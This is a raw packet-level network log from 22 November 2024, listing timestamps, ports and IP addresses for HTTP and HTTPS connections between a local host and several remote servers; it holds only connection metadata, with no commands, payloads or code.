Nov 22, 2024 23:06:10.769716024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769721031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769731998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769746065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769756079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769757986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769767046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769768000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769779921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769790888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769790888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769803047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769814968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769817114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769826889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.769841909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.769856930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770055056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770071983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770083904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770095110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770100117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770112991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770124912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770128012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770134926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770153999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770176888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770344019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770356894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770369053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770380020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770384073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770390987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770402908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770409107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770415068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770426035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770433903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770438910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770451069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770466089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770468950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770479918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770490885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770490885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770502090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770513058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770519018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770524979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770531893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770536900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770550966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770549059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770562887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770575047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770575047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770586967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770597935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770601988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770610094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770622015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770622015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770633936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770633936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770644903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770657063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770662069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770668983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770680904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770688057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770694017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770704985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:10.770704985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770718098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:10.770750046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:13.762643099 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:13.762707949 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:13.762768030 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:13.763355970 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:13.763417006 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:13.763550997 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:13.767599106 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:13.767632961 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:13.767947912 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:13.767967939 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:14.023463964 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:14.023535967 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:14.023596048 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:14.023919106 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:14.023936033 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:14.066072941 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:14.066154957 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:14.066318989 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:14.066620111 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:14.066633940 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:14.407377005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:14.407457113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:15.485089064 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.485404015 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.485444069 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.486805916 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.486887932 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.488080978 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.488156080 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.488465071 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.488481998 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.507945061 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.508301020 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.508336067 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.509370089 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.509459019 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.510083914 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.510149002 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.510325909 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.510334969 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.542845964 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.558450937 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.759510040 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.762005091 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.762033939 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.763246059 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.763310909 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.763667107 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.763732910 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.763854027 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.808147907 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.808180094 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.808931112 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.809031010 CET	443	49706	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.809092999 CET	49706	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.812871933 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.813276052 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.813298941 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.814376116 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.814444065 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.814826965 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.814903975 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.814970016 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.814980984 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:15.870712042 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:15.870731115 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.356472969 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.356827974 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.356921911 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.357876062 CET	49705	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.357897997 CET	443	49705	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.650895119 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.650938034 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.650969982 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.650998116 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.651021004 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.651026964 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.651062965 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.651077986 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.651588917 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.658832073 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.666934013 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.667022943 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.667041063 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.695575953 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.695874929 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.695940018 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.696715117 CET	49710	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.696734905 CET	443	49710	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.703922987 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.705815077 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.705842018 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.746031046 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.770406008 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.817958117 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.817975998 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.842693090 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.842777014 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.842808962 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.853574991 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.853631020 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.853640079 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.862879992 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.862925053 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.862931967 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.875673056 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.875814915 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.875833988 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.889090061 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.889177084 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.889194012 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.901979923 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.902163982 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.902170897 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.915658951 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.915703058 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.915713072 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.929255962 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.929306030 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.929311991 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.947969913 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.948016882 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.948046923 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.953685045 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.953731060 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.953752041 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.967082024 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.967125893 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.967133045 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.982054949 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:16.982125044 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:16.982134104 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.027749062 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.034744978 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.036843061 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.036894083 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.036911011 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.044333935 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.044465065 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.044475079 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.057697058 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.057780981 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.057790041 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.070101023 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.070175886 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.070184946 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.081902981 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.081959963 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.081968069 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.095310926 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.095429897 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.095438957 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.118087053 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.118196964 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.118205070 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.118244886 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.118290901 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.119769096 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.128981113 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.129062891 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.129081011 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.139415979 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.139516115 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.139524937 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.149394035 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.149475098 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.149496078 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.159630060 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.159713030 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.159840107 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.159849882 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.159895897 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.169023991 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.177984953 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.178077936 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.178097010 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.178124905 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.178172112 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.186703920 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.194916964 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.194977999 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.195003986 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.203396082 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.203474045 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.203500986 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.211690903 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.211777925 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.211803913 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.212634087 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.212685108 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.212692976 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.227777004 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.227869987 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.227883101 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.240511894 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.240588903 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.240598917 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.243771076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.243832111 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.243839979 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.246541023 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.246659994 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.246668100 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.250202894 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.250262976 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.250272036 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.253344059 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.253397942 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.253406048 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.257649899 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.257704973 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.257713079 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.262841940 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.262908936 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.262922049 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.268220901 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.268282890 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.268291950 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.273622036 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.273684978 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.273694038 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.283886909 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.283961058 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.283988953 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.285253048 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.285303116 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.285314083 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.285465002 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.285512924 CET	443	49711	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.285567045 CET	49711	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.656774044 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:17.656831026 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:17.656898975 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:17.657215118 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:17.657232046 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:17.890391111 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.890450954 CET	443	49720	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.890546083 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.890861034 CET	49720	443	192.168.2.5	142.250.181.68
Nov 22, 2024 23:06:17.890878916 CET	443	49720	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:17.983042002 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:17.983093977 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:17.983186960 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:17.992981911 CET	49721	443	192.168.2.5	4.245.163.56
Nov 22, 2024 23:06:17.993002892 CET	443	49721	4.245.163.56	192.168.2.5
Nov 22, 2024 23:06:18.059990883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:18.060549974 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:18.179568052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:18.180100918 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:18.181916952 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:18.182267904 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:18.301804066 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:18.523330927 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:18.523376942 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:18.523525000 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:18.524586916 CET	49726	443	192.168.2.5	23.218.208.109
Nov 22, 2024 23:06:18.524612904 CET	443	49726	23.218.208.109	192.168.2.5
Nov 22, 2024 23:06:19.445089102 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:19.445373058 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:19.586144924 CET	49719	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:19.586179972 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:19.586549997 CET	443	49719	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:19.626985073 CET	443	49720	142.250.181.68	192.168.2.5
Nov 22, 2024 23:06:19.637455940 CET	49719	443	192.168.2.5	13.107.246.63
